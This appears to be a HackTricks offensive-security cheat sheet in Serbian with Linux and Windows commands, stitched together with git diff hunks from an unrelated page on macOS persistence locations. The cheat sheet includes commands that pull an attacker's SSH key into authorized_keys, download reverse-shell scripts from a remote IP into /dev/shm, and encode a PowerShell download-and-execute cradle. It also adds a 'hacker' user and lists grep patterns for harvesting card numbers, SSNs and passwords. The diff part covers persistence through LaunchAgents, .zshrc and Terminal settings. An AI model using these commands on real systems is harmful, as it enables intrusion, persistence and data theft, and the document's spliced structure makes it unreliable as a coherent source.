* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Uobičajene Bash
|
||||||
|
```bash
|
||||||
|
#Exfiltration using Base64
|
||||||
|
base64 -w 0 file
|
||||||
|
|
||||||
|
#Get HexDump without new lines
|
||||||
|
xxd -p boot12.bin | tr -d '\n'
|
||||||
|
|
||||||
|
#Add public key to authorized keys
|
||||||
|
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
|
||||||
|
|
||||||
|
#Echo without new line and Hex
|
||||||
|
echo -n -e
|
||||||
|
|
||||||
|
#Count
|
||||||
|
wc -l <file> #Lines
|
||||||
|
wc -c #Chars
|
||||||
|
|
||||||
|
#Sort
|
||||||
|
sort -nr #Sort by number and then reverse
|
||||||
|
cat file | sort | uniq #Sort and delete duplicates
|
||||||
|
|
||||||
|
#Replace in file
|
||||||
|
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
|
||||||
|
|
||||||
|
#Download in RAM
|
||||||
|
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||||||
|
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||||||
|
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||||
|
|
||||||
|
#Files used by network processes
|
||||||
|
lsof #Open files belonging to any process
|
||||||
|
lsof -p 3 #Open files used by the process
|
||||||
|
lsof -i #Files used by networks processes
|
||||||
|
lsof -i 4 #Files used by network IPv4 processes
|
||||||
|
lsof -i 6 #Files used by network IPv6 processes
|
||||||
|
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
|
||||||
|
lsof +D /lib #Processes using files inside the indicated dir
|
||||||
|
lsof -i :80 #Files uses by networks processes
|
||||||
|
fuser -nv tcp 80
|
||||||
|
|
||||||
|
#Decompress
|
||||||
|
tar -xvzf /path/to/yourfile.tgz
|
||||||
|
tar -xvjf /path/to/yourfile.tbz
|
||||||
|
bzip2 -d /path/to/yourfile.bz2
|
||||||
|
tar jxf file.tar.bz2
|
||||||
|
gunzip /path/to/yourfile.gz
|
||||||
|
unzip file.zip
|
||||||
|
7z -x file.7z
|
||||||
|
sudo apt-get install xz-utils; unxz file.xz
|
||||||
|
|
||||||
|
#Add new user
|
||||||
|
useradd -p 'openssl passwd -1 <Password>' hacker
|
||||||
|
|
||||||
|
#Clipboard
|
||||||
|
xclip -sel c < cat file.txt
|
||||||
|
|
||||||
|
#HTTP servers
|
||||||
|
python -m SimpleHTTPServer 80
|
||||||
|
python3 -m http.server
|
||||||
|
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
|
||||||
|
php -S $ip:80
|
||||||
|
|
||||||
|
#Curl
|
||||||
|
#json data
|
||||||
|
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
|
||||||
|
#Auth via JWT
|
||||||
|
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
|
||||||
|
|
||||||
|
#Send Email
|
||||||
|
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
|
||||||
|
|
||||||
|
#DD copy hex bin file without first X (28) bytes
|
||||||
|
dd if=file.bin bs=28 skip=1 of=blob
|
||||||
|
|
||||||
|
#Mount .vhd files (virtual hard drive)
|
||||||
|
sudo apt-get install libguestfs-tools
|
||||||
|
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
|
||||||
|
|
||||||
|
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
|
||||||
|
ssh-keyscan 10.10.10.101
|
||||||
|
|
||||||
|
# Openssl
|
||||||
|
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
|
||||||
|
openssl x509 -in ca.cert.pem -text #Read certificate
|
||||||
|
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
|
||||||
|
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
|
||||||
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
|
||||||
|
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
|
||||||
|
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
|
||||||
|
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
|
||||||
|
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
|
||||||
|
# Decrypt ssh key
|
||||||
|
openssl rsa -in key.ssh.enc -out key.ssh
|
||||||
|
#Decrypt
|
||||||
|
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
|
||||||
|
|
||||||
|
#Count number of instructions executed by a program, need a host based linux (not working in VM)
|
||||||
|
perf stat -x, -e instructions:u "ls"
|
||||||
|
|
||||||
|
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
|
||||||
|
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
|
||||||
|
|
||||||
|
#Reconfigure timezone
|
||||||
|
sudo dpkg-reconfigure tzdata
|
||||||
|
|
||||||
|
#Search from which package is a binary
|
||||||
|
apt-file search /usr/bin/file #Needed: apt-get install apt-file
|
||||||
|
|
||||||
|
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
|
||||||
|
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
|
||||||
|
|
||||||
|
#Set not removable bit
|
||||||
|
sudo chattr +i file.txt
|
||||||
|
sudo chattr -i file.txt #Remove the bit so you can delete it
|
||||||
|
|
||||||
|
# List files inside zip
|
||||||
|
7z l file.zip
|
||||||
|
```
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||||
|
Pristupite danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Bash za Windows
|
||||||
|
```bash
|
||||||
|
#Base64 for Windows
|
||||||
|
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
||||||
|
|
||||||
|
#Exe compression
|
||||||
|
upx -9 nc.exe
|
||||||
|
|
||||||
|
#Exe2bat
|
||||||
|
wine exe2bat.exe nc.exe nc.txt
|
||||||
|
|
||||||
|
#Compile Windows python exploit to exe
|
||||||
|
pip install pyinstaller
|
||||||
|
wget -O exploit.py http://www.exploit-db.com/download/31853
|
||||||
|
python pyinstaller.py --onefile exploit.py
|
||||||
|
|
||||||
|
#Compile for windows
|
||||||
|
#sudo apt-get install gcc-mingw-w64-i686
|
||||||
|
i686-mingw32msvc-gcc -o executable useradd.c
|
||||||
|
```
|
||||||
|
## Greps
|
||||||
|
|
||||||
|
### Grep for a string in all files in a directory
|
||||||
|
|
||||||
|
```bash
|
||||||
|
grep -r "string" /path/to/directory
|
||||||
|
```
|
||||||
|
|
||||||
|
### Grep for a string in all files in the current directory
|
||||||
|
|
||||||
|
```bash
|
||||||
|
grep -r "string" .
|
||||||
|
```
|
||||||
|
|
||||||
|
### Grep for a string in all files in the current directory (case insensitive)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
grep -ri "string" .
|
||||||
|
```
|
||||||
|
```bash
|
||||||
|
#Extract emails from file
|
||||||
|
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||||
|
|
||||||
|
#Extract valid IP addresses
|
||||||
|
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
|
||||||
|
|
||||||
|
#Extract passwords
|
||||||
|
grep -i "pwd\|passw" file.txt
|
||||||
|
|
||||||
|
#Extract users
|
||||||
|
grep -i "user\|invalid\|authentication\|login" file.txt
|
||||||
|
|
||||||
|
# Extract hashes
|
||||||
|
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
|
||||||
|
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
|
||||||
|
#Extract valid MySQL-Old hashes
|
||||||
|
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
|
||||||
|
#Extract blowfish hashes
|
||||||
|
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
|
||||||
|
#Extract Joomla hashes
|
||||||
|
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
|
||||||
|
#Extract VBulletin hashes
|
||||||
|
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
|
||||||
|
#Extraxt phpBB3-MD5
|
||||||
|
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
|
||||||
|
#Extract Wordpress-MD5
|
||||||
|
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
|
||||||
|
#Extract Drupal 7
|
||||||
|
egrep -o '$S$S{52}' *.txt > drupal-7.txt
|
||||||
|
#Extract old Unix-md5
|
||||||
|
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
|
||||||
|
#Extract md5-apr1
|
||||||
|
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
|
||||||
|
#Extract sha512crypt, SHA512(Unix)
|
||||||
|
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
|
||||||
|
|
||||||
|
#Extract e-mails from text files
|
||||||
|
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
|
||||||
|
|
||||||
|
#Extract HTTP URLs from text files
|
||||||
|
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
|
||||||
|
#For extracting HTTPS, FTP and other URL format use
|
||||||
|
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
|
||||||
|
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
|
||||||
|
|
||||||
|
#Extract Floating point numbers
|
||||||
|
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
|
||||||
|
|
||||||
|
# Extract credit card data
|
||||||
|
#Visa
|
||||||
|
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
|
||||||
|
#MasterCard
|
||||||
|
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
|
||||||
|
#American Express
|
||||||
|
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
|
||||||
|
#Diners Club
|
||||||
|
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
|
||||||
|
#Discover
|
||||||
|
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
|
||||||
|
#JCB
|
||||||
|
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
|
||||||
|
#AMEX
|
||||||
|
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
|
||||||
|
|
||||||
|
# Extract IDs
|
||||||
|
#Extract Social Security Number (SSN)
|
||||||
|
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
|
||||||
|
#Extract Indiana Driver License Number
|
||||||
|
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
|
||||||
|
#Extract US Passport Cards
|
||||||
|
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
|
||||||
|
#Extract US Passport Number
|
||||||
|
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
|
||||||
|
#Extract US Phone Numberss
|
||||||
|
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
||||||
|
#Extract ISBN Numbers
|
||||||
|
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||||||
|
```
|
||||||
|
## Pronađi
|
||||||
|
```bash
|
||||||
|
# Find SUID set files.
|
||||||
|
find / -perm /u=s -ls 2>/dev/null
|
||||||
|
|
||||||
|
# Find SGID set files.
|
||||||
|
find / -perm /g=s -ls 2>/dev/null
|
||||||
|
|
||||||
|
# Found Readable directory and sort by time. (depth = 4)
|
||||||
|
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||||
|
|
||||||
|
# Found Writable directory and sort by time. (depth = 10)
|
||||||
|
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||||
|
|
||||||
|
# Or Found Own by Current User and sort by time. (depth = 10)
|
||||||
|
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||||
|
|
||||||
|
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
|
||||||
|
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||||
|
|
||||||
|
# Found Newer files and sort by time. (depth = 5)
|
||||||
|
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||||
|
|
||||||
|
# Found Newer files only and sort by time. (depth = 5)
|
||||||
|
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||||
|
|
||||||
|
# Found Newer directory only and sort by time. (depth = 5)
|
||||||
|
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||||
|
```
|
||||||
|
## Nmap pretraga pomoć
|
||||||
|
```bash
|
||||||
|
#Nmap scripts ((default or version) and smb))
|
||||||
|
nmap --script-help "(default or version) and *smb*"
|
||||||
|
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
|
||||||
|
nmap --script-help "(default or version) and smb)"
|
||||||
|
```
|
||||||
|
## Baš
|
||||||
|
```bash
|
||||||
|
#All bytes inside a file (except 0x20 and 0x00)
|
||||||
|
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||||
|
```
|
||||||
|
## Iptables
|
||||||
|
|
||||||
|
iptables je moćan alat za konfigurisanje firewall-a u Linux operativnom sistemu. Omogućava vam da definišete pravila za kontrolu saobraćaja na mreži.
|
||||||
|
```bash
|
||||||
|
#Delete curent rules and chains
|
||||||
|
iptables --flush
|
||||||
|
iptables --delete-chain
|
||||||
|
|
||||||
|
#allow loopback
|
||||||
|
iptables -A INPUT -i lo -j ACCEPT
|
||||||
|
iptables -A OUTPUT -o lo -j ACCEPT
|
||||||
|
|
||||||
|
#drop ICMP
|
||||||
|
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
|
||||||
|
iptables -A OUTPUT -p icmp -j DROP
|
||||||
|
|
||||||
|
#allow established connections
|
||||||
|
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
|
||||||
|
|
||||||
|
#allow ssh, http, https, dns
|
||||||
|
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
|
||||||
|
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
|
||||||
|
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
|
||||||
|
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
|
||||||
|
|
||||||
|
#default policies
|
||||||
|
iptables -P INPUT DROP
|
||||||
|
iptables -P FORWARD ACCEPT
|
||||||
|
iptables -P OUTPUT ACCEPT
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||||
|
Dobijte pristup danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
@ -58,6 +58,7 @@ Ovde možete pronaći lokacije za pokretanje korisne za **bypassovanje peska** k
|
||||||
Kada se korisnik prijavi, plistovi smešteni u `/Users/$USER/Library/LaunchAgents` i `/Users/$USER/Library/LaunchDemons` se pokreću sa **dozvolama prijavljenih korisnika**.
|
Kada se korisnik prijavi, plistovi smešteni u `/Users/$USER/Library/LaunchAgents` i `/Users/$USER/Library/LaunchDemons` se pokreću sa **dozvolama prijavljenih korisnika**.
|
||||||
|
|
||||||
**Glavna razlika između agenata i demona je u tome što se agenti učitavaju kada se korisnik prijavi, a demoni se učitavaju pri pokretanju sistema** (kako postoje servisi poput ssh koji moraju biti izvršeni pre nego što bilo koji korisnik pristupi sistemu). Takođe, agenti mogu koristiti GUI dok demoni moraju raditi u pozadini.
|
**Glavna razlika između agenata i demona je u tome što se agenti učitavaju kada se korisnik prijavi, a demoni se učitavaju pri pokretanju sistema** (kako postoje servisi poput ssh koji moraju biti izvršeni pre nego što bilo koji korisnik pristupi sistemu). Takođe, agenti mogu koristiti GUI dok demoni moraju raditi u pozadini.
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
|
||||||
|
@ -80,6 +81,7 @@ Kada se korisnik prijavi, plistovi smešteni u `/Users/$USER/Library/LaunchAgent
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
|
|
||||||
Postoje slučajevi kada je **potrebno izvršiti agenta pre nego što se korisnik prijavi**, ovi se nazivaju **PreLoginAgents**. Na primer, ovo je korisno za pružanje asistivne tehnologije pri prijavi. Mogu se pronaći i u `/Library/LaunchAgents` (videti [**ovde**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) primer).
|
Postoje slučajevi kada je **potrebno izvršiti agenta pre nego što se korisnik prijavi**, ovi se nazivaju **PreLoginAgents**. Na primer, ovo je korisno za pružanje asistivne tehnologije pri prijavi. Mogu se pronaći i u `/Library/LaunchAgents` (videti [**ovde**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) primer).
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
|
@ -90,9 +92,11 @@ Da **osigurate** da ne postoji **ništa** (kao što je prekoračenje) **koje spr
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Izlistajte sve agente i demone učitane od strane trenutnog korisnika:
|
Izlistajte sve agente i demone učitane od strane trenutnog korisnika:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
launchctl list
|
launchctl list
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Ako je plist u vlasništvu korisnika, čak i ako se nalazi u sistemskim folderima demona, **zadatak će se izvršiti kao korisnik** a ne kao root. Ovo može sprečiti neke napade na eskalaciju privilegija.
|
Ako je plist u vlasništvu korisnika, čak i ako se nalazi u sistemskim folderima demona, **zadatak će se izvršiti kao korisnik** a ne kao root. Ovo može sprečiti neke napade na eskalaciju privilegija.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -131,10 +135,12 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
||||||
Prilikom pokretanja okruženja ljuske kao što su `zsh` ili `bash`, **određeni fajlovi za pokretanje se izvršavaju**. macOS trenutno koristi `/bin/zsh` kao podrazumevanu ljusku. Ova ljuska se automatski pristupa kada se pokrene aplikacija Terminal ili kada se uređaj pristupa putem SSH. Iako su `bash` i `sh` takođe prisutni u macOS-u, moraju se eksplicitno pozvati da bi se koristili.
|
Prilikom pokretanja okruženja ljuske kao što su `zsh` ili `bash`, **određeni fajlovi za pokretanje se izvršavaju**. macOS trenutno koristi `/bin/zsh` kao podrazumevanu ljusku. Ova ljuska se automatski pristupa kada se pokrene aplikacija Terminal ili kada se uređaj pristupa putem SSH. Iako su `bash` i `sh` takođe prisutni u macOS-u, moraju se eksplicitno pozvati da bi se koristili.
|
||||||
|
|
||||||
Man stranica za zsh, koju možemo pročitati sa **`man zsh`**, ima dugačak opis fajlova za pokretanje.
|
Man stranica za zsh, koju možemo pročitati sa **`man zsh`**, ima dugačak opis fajlova za pokretanje.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Example executino via ~/.zshrc
|
# Example executino via ~/.zshrc
|
||||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ponovno otvorene aplikacije
|
### Ponovno otvorene aplikacije
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
|
@ -160,12 +166,15 @@ Dakle, da biste omogućili da se vaša aplikacija pokrene prilikom ponovnog otva
|
||||||
UUID se može pronaći listanjem tog direktorijuma ili sa `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
|
UUID se može pronaći listanjem tog direktorijuma ili sa `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
|
||||||
|
|
||||||
Da biste proverili aplikacije koje će biti ponovo otvorene, možete uraditi:
|
Da biste proverili aplikacije koje će biti ponovo otvorene, možete uraditi:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
|
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
|
||||||
#or
|
#or
|
||||||
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
||||||
```
|
```
|
||||||
|
|
||||||
Da **dodate aplikaciju na ovaj spisak** možete koristiti:
|
Da **dodate aplikaciju na ovaj spisak** možete koristiti:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Adding iTerm2
|
# Adding iTerm2
|
||||||
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
|
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
|
||||||
|
@ -175,6 +184,7 @@ Da **dodate aplikaciju na ovaj spisak** možete koristiti:
|
||||||
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
|
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
|
||||||
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
||||||
```
|
```
|
||||||
|
|
||||||
### Postavke Terminala
|
### Postavke Terminala
|
||||||
|
|
||||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||||
|
@ -195,6 +205,7 @@ Na primer, Terminal može izvršiti komandu pri pokretanju:
|
||||||
<figure><img src="../.gitbook/assets/image (676).png" alt="" width="495"><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (676).png" alt="" width="495"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ova konfiguracija se odražava u datoteci **`~/Library/Preferences/com.apple.Terminal.plist`** ovako:
|
Ova konfiguracija se odražava u datoteci **`~/Library/Preferences/com.apple.Terminal.plist`** ovako:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
[...]
|
[...]
|
||||||
"Window Settings" => {
|
"Window Settings" => {
|
||||||
|
@ -210,6 +221,7 @@ Ova konfiguracija se odražava u datoteci **`~/Library/Preferences/com.apple.Ter
|
||||||
}
|
}
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
Dakle, ako se plist datoteka postavki terminala u sistemu može prepisati, onda se **`open`** funkcionalnost može koristiti da **otvori terminal i izvrši tu komandu**.
|
